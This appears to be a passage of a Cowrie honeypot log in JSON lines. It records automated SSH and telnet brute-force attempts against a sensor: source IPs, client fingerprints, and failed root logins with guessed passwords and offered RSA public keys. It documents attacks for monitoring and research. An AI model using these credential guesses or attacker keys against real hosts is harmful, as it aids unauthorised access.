{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":41510,"dst_ip":"159.203.135.109","dst_port":22,"session":"361dd2ba04e1","protocol":"ssh","message":"New connection: 43.130.35.229:41510 (159.203.135.109:22) [session: 361dd2ba04e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:14.908719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:14.914481Z","src_ip":"43.130.35.229","session":"361dd2ba04e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:14.983643Z","src_ip":"43.130.35.229","session":"361dd2ba04e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raza","message":"login attempt [root/raza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:15.292495Z","src_ip":"43.130.35.229","session":"361dd2ba04e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":46248,"dst_ip":"10.17.0.5","dst_port":22,"session":"721667600906","protocol":"ssh","message":"New connection: 193.37.70.224:46248 (10.17.0.5:22) [session: 721667600906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:15.464975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:15.519382Z","src_ip":"193.37.70.224","session":"721667600906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:15.579436Z","src_ip":"193.37.70.224","session":"721667600906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"08051973god","message":"login attempt [root/08051973god] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:15.919846Z","src_ip":"193.37.70.224","session":"721667600906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:16.366893Z","src_ip":"43.130.35.229","session":"361dd2ba04e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":46136,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a13ebcb00c7","protocol":"ssh","message":"New connection: 191.96.110.121:46136 (159.203.135.109:22) [session: 2a13ebcb00c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:16.985915Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:17.012578Z","src_ip":"193.37.70.224","session":"721667600906","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:17.089131Z","src_ip":"191.96.110.121","session":"2a13ebcb00c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:17.490768Z","src_ip":"191.96.110.121","session":"2a13ebcb00c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mustafa123","message":"login attempt [root/mustafa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:19.494127Z","src_ip":"191.96.110.121","session":"2a13ebcb00c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":39560,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bf2689a4b30","protocol":"ssh","message":"New connection: 87.251.79.125:39560 (159.203.135.109:22) [session: 0bf2689a4b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:20.880280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:20.885239Z","src_ip":"87.251.79.125","session":"0bf2689a4b30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:20.957070Z","src_ip":"87.251.79.125","session":"0bf2689a4b30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:21.110589Z","src_ip":"191.96.110.121","session":"2a13ebcb00c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"november","message":"login attempt [root/november] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:21.175174Z","src_ip":"87.251.79.125","session":"0bf2689a4b30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:22.251168Z","src_ip":"87.251.79.125","session":"0bf2689a4b30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":108.31209683418274,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:22.714560Z","src_ip":"152.42.224.71","session":"5264375d78d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.48514103889465,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:26.225039Z","src_ip":"152.42.224.71","session":"1235907b1013","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.716761112213135,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:27.593695Z","src_ip":"152.42.224.71","session":"8dbedef7b396","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.38205361366272,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:31.956237Z","src_ip":"152.42.224.71","session":"c8acee678bcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60424,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d5891439acc","protocol":"telnet","message":"New connection: 152.42.224.71:60424 (10.17.0.5:23) [session: 3d5891439acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:33.455854Z"}
{"eventid":"cowrie.session.closed","duration":117.47926115989685,"message":"Connection lost after 117 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:34.865258Z","src_ip":"152.42.224.71","session":"b3fd8b036481","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.33.110","src_port":50522,"dst_ip":"10.17.0.5","dst_port":22,"session":"068b48e8230b","protocol":"ssh","message":"New connection: 191.101.33.110:50522 (10.17.0.5:22) [session: 068b48e8230b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:42.214233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:42.219162Z","src_ip":"191.101.33.110","session":"068b48e8230b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:42.246630Z","src_ip":"191.101.33.110","session":"068b48e8230b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:26:85:6c:1f:c8:f8:09:95:54:a1:6e:69:4c:98:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5O8dkJf0OINrVZEhtJPXhf3TdX7tMnjGb83U4vC/bo8rn6qSrmLMSI7k7TS0vybD2hpYRWKdUWmsMrRL7KfQGgqjC2C++y7tbfuTSFAg70AsFKKpu7jg/5JPX8HJKtpgZ8gBoCfSdE/I37mvHQ/GWhgwdjq5Au2ndrTm2ycTdQGNcn/y77Exf6wu2w8mwCMMWgTWPhH9ULLgoIj1Jj0vw2n/ktmmWLFIZ5kickpafgvxFb4La5u/x7yKeRb64b5yVGqxcIo2/iG1W9x0vz8KiUMtut25+4/YKwph89iEfy/Dja001KJ5kgT6/gXvF8Rd92IIbYlXUrfJkxOkiNaOyw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:26:85:6c:1f:c8:f8:09:95:54:a1:6e:69:4c:98:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:42.359979Z","src_ip":"191.101.33.110","session":"068b48e8230b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:26:85:6c:1f:c8:f8:09:95:54:a1:6e:69:4c:98:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5O8dkJf0OINrVZEhtJPXhf3TdX7tMnjGb83U4vC/bo8rn6qSrmLMSI7k7TS0vybD2hpYRWKdUWmsMrRL7KfQGgqjC2C++y7tbfuTSFAg70AsFKKpu7jg/5JPX8HJKtpgZ8gBoCfSdE/I37mvHQ/GWhgwdjq5Au2ndrTm2ycTdQGNcn/y77Exf6wu2w8mwCMMWgTWPhH9ULLgoIj1Jj0vw2n/ktmmWLFIZ5kickpafgvxFb4La5u/x7yKeRb64b5yVGqxcIo2/iG1W9x0vz8KiUMtut25+4/YKwph89iEfy/Dja001KJ5kgT6/gXvF8Rd92IIbYlXUrfJkxOkiNaOyw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:42.364139Z","src_ip":"191.101.33.110","session":"068b48e8230b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ef:6b:57:1a:20:e7:01:f9:d9:e4:62:14:a0:5c:b0:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDjRZz9VuR2TqaildazILOyzFo1UAEz00/mFJPmbScsQT8Nwn4jcEnFlZ20pZ06Lsz1uaxK+T0RW14IQDNeEntTZFmWF+/jfvX6FijdKBi4vcuwvKonmwyjFrEAigGbSL1nhRXHAWMmXiPnKd7nsSYeKu4L+05ouXNv2lqhys5GqIzNWwixkGzBotwvKqSmtx0ir8job9JrgiSi6zwJZGx+mVvmLMGBXHyRwVWwUlwSswYmoIDlkxLT4lvCB+JTCLFKdmnrrVI6L5eh7vXz8dYX25hL7F3X/m/J6x6EbB+CnHJI+zcuEj81N7SbhqmXG3oivMSWOoyqs2uPTFGReKiXxJAitrkDwywqchFh4QoQC+w3Kc6m2oaU18HIsE/DDfQygKqV94lfDFLSsQ265/3EhKkt84iyrauXRS+LsIZ5dVM2G7QfhCdvTW6d+J9M0XmHwCWYUc65N8jCSWHuKf/gz7Cf7cUYvJqOJVGVgM1p+YIlYQR0aU80rVu97KZGNqM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ef:6b:57:1a:20:e7:01:f9:d9:e4:62:14:a0:5c:b0:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:42.393147Z","src_ip":"191.101.33.110","session":"068b48e8230b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ef:6b:57:1a:20:e7:01:f9:d9:e4:62:14:a0:5c:b0:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDjRZz9VuR2TqaildazILOyzFo1UAEz00/mFJPmbScsQT8Nwn4jcEnFlZ20pZ06Lsz1uaxK+T0RW14IQDNeEntTZFmWF+/jfvX6FijdKBi4vcuwvKonmwyjFrEAigGbSL1nhRXHAWMmXiPnKd7nsSYeKu4L+05ouXNv2lqhys5GqIzNWwixkGzBotwvKqSmtx0ir8job9JrgiSi6zwJZGx+mVvmLMGBXHyRwVWwUlwSswYmoIDlkxLT4lvCB+JTCLFKdmnrrVI6L5eh7vXz8dYX25hL7F3X/m/J6x6EbB+CnHJI+zcuEj81N7SbhqmXG3oivMSWOoyqs2uPTFGReKiXxJAitrkDwywqchFh4QoQC+w3Kc6m2oaU18HIsE/DDfQygKqV94lfDFLSsQ265/3EhKkt84iyrauXRS+LsIZ5dVM2G7QfhCdvTW6d+J9M0XmHwCWYUc65N8jCSWHuKf/gz7Cf7cUYvJqOJVGVgM1p+YIlYQR0aU80rVu97KZGNqM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:42.397493Z","src_ip":"191.101.33.110","session":"068b48e8230b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:ad:5d:0f:ae:df:dd:2e:a2:41:dc:c9:fc:9d:21:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZ4M5czvQCtJbxy69ka66fM8vs5zTPJsAGiz56ibAEsEm/kUttUiZtQwcg5Xz1d9Clxp4Ed6cXYYzRPgiFS0lVsZzhCXqhgtPvdWvQ2vJEvOEnoAYOJFzyOf6ka5XxKXCnKSTCVky0S9URXIp9W4dszTcKcscBfK1xUI17/g/pgCNt4ZSr5CbrF8QrWFaEePss3AHShJjvfetSy4pVOHEaNNs5kGZcV3bx9xsCYf8nK3XsYUXAHph0lhnAKAXjZby/vq66uueym+VcbBX1+ni/cU40j9jZZSVPYN/t9jVr5Yqe4YB9rMYW/I/Z1Z8akESQo1htCk55yVddUhQaTOeiULX/SK6Pus/CNbPK2RUxefmVjLf/tkR7zSA2m/VryxUSMC2iAqpfan+EKA1zD159YE65uZQPiiK3YMkzjEcLGSXhOkWuzYwFWGOs1Hzz7zugWSM4oDZ63ZHuZ4Kk1J1IpHZhykVgEI+ar5+9nJs6nMKt+ODsC2mUC44wSOlQIiBd4oMU+zHc4rBGLotbWNdIUWdjjFItLzfUwNnQrq2OfDz37rtamsST7S+Mg0Gd5jlLHy+Yetuuug4ndrV8UraHYdrbSOWCs6A+6DShBh0tcs4eHwKkngaPRE72RFHeSBGp0iFQk4v7pxxtsIoc9V3hfpLJmnBiMFfp967BRQAvpw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:ad:5d:0f:ae:df:dd:2e:a2:41:dc:c9:fc:9d:21:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:42.426163Z","src_ip":"191.101.33.110","session":"068b48e8230b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:ad:5d:0f:ae:df:dd:2e:a2:41:dc:c9:fc:9d:21:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDZ4M5czvQCtJbxy69ka66fM8vs5zTPJsAGiz56ibAEsEm/kUttUiZtQwcg5Xz1d9Clxp4Ed6cXYYzRPgiFS0lVsZzhCXqhgtPvdWvQ2vJEvOEnoAYOJFzyOf6ka5XxKXCnKSTCVky0S9URXIp9W4dszTcKcscBfK1xUI17/g/pgCNt4ZSr5CbrF8QrWFaEePss3AHShJjvfetSy4pVOHEaNNs5kGZcV3bx9xsCYf8nK3XsYUXAHph0lhnAKAXjZby/vq66uueym+VcbBX1+ni/cU40j9jZZSVPYN/t9jVr5Yqe4YB9rMYW/I/Z1Z8akESQo1htCk55yVddUhQaTOeiULX/SK6Pus/CNbPK2RUxefmVjLf/tkR7zSA2m/VryxUSMC2iAqpfan+EKA1zD159YE65uZQPiiK3YMkzjEcLGSXhOkWuzYwFWGOs1Hzz7zugWSM4oDZ63ZHuZ4Kk1J1IpHZhykVgEI+ar5+9nJs6nMKt+ODsC2mUC44wSOlQIiBd4oMU+zHc4rBGLotbWNdIUWdjjFItLzfUwNnQrq2OfDz37rtamsST7S+Mg0Gd5jlLHy+Yetuuug4ndrV8UraHYdrbSOWCs6A+6DShBh0tcs4eHwKkngaPRE72RFHeSBGp0iFQk4v7pxxtsIoc9V3hfpLJmnBiMFfp967BRQAvpw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:42.430696Z","src_ip":"191.101.33.110","session":"068b48e8230b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:cf:09:68:0d:0c:1b:28:3b:0e:f6:22:03:fc:3d:6b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCmEZcGdc6TaDEPGy179lt2s2maMyz8Jd2chUV/2CQezzyR62yCFLV+qOZQPn4k4989WoTD8d+g8MHFDQDX7RLWcF7/itXUpe6ri4Vqa6O46hSYVjO3nmLVuPvXpOlo/+3FIjXswR6afOXGIoMSb0XPjqU3rYg5DHE1FH7q3tKNVN1Rim+xH94ade5QjjXSbGdcoPn1qMwVaXDgUeKSyYG7uYq/36TpfqlCrDf483FFO3RFr931dskuwZSalwdwhFhouhxQ9decCeHLBjrCrsjMtBfIcG8fczfzeehSV/+7ueB/AhrAuzK0CVKXo3QMLGtd+pkQFyK+rDUCSSQp5VP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:cf:09:68:0d:0c:1b:28:3b:0e:f6:22:03:fc:3d:6b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:30:42.460759Z","src_ip":"191.101.33.110","session":"068b48e8230b","protocol":"ssh"}
